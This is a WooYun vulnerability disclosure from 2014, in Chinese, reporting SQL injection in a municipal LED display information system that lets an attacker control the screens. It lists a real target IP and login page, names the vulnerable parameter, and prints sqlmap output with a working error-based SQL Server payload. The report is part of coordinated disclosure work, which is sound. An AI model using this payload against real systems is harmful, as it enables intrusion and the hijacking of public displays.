当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-078964

漏洞标题：市级LED显示屏信息显示系统SQL注射漏洞（可远程控制LED）

相关厂商：cncert国家互联网应急中心

漏洞作者： 魇

提交时间：2014-10-11 14:05

修复时间：2014-11-25 14:06

公开时间：2014-11-25 14:06

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-11： 细节已通知厂商并且等待厂商处理中
2014-10-15： 厂商已经确认，细节仅向厂商公开
2014-10-25： 细节向核心白帽子及相关领域专家公开
2014-11-04： 细节向普通白帽子公开
2014-11-14： 细节向实习白帽子公开
2014-11-25： 细节向公众公开

简要描述：

那么问题来了...
LED 哪家强？

详细说明：

WooYun: 丽江市LED显示屏信息显示系统高危漏洞可发布广告（可远程控制上百块LED屏幕）
前人漏洞..看到一个弱口令竟然前台加精..略讶异 于是看了下，表示我这能给前台就行
http://60.161.215.7:8888/main.aspx
“登陆处post注射” TextBox1参数存在注入

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: TextBox1
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __VIEWSTATE=/wEPDwUJNTUyNjI3NDI4ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3R
CYWNrS2V5X18WAgUMSW1hZ2VCdXR0b24xBQxJbWFnZUJ1dHRvbjJygpamJGdz4YCN7lpdiG1ys7PZqg=
=&__VIEWSTATEGENERATOR=C2EE9ABB&__EVENTVALIDATION=/wEWBgLOsYjhDwLs0bLrBgLs0fbZDA
Ls0Yq1BQLSwpnTCALSwtXkAldceanpG52LNpx63yyJ+5PopWeN&TextBox1=admin' AND 1318=CONV
ERT(INT,(SELECT CHAR(113)+CHAR(105)+CHAR(100)+CHAR(104)+CHAR(113)+(SELECT (CASE
WHEN (1318=1318) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(102)+CHAR(105)
+CHAR(110)+CHAR(113)))-- itwg&TextBox2=admin&TextBox3=11&ImageButton1.x=50&Image
Button1.y=10
---
[12:35:41] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[12:35:41] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[12:35:41] [INFO] fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\60.161.215.7'
[*] shutting down at 12:35:41
C:\Python27\sqlmap>

漏洞证明：

q6.jpg

q2.jpg

q3.jpg

q4.jpg

修复方案：

版权声明：转载请注明来源 魇@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-10-15 17:53

厂商回复：

最新状态：

暂无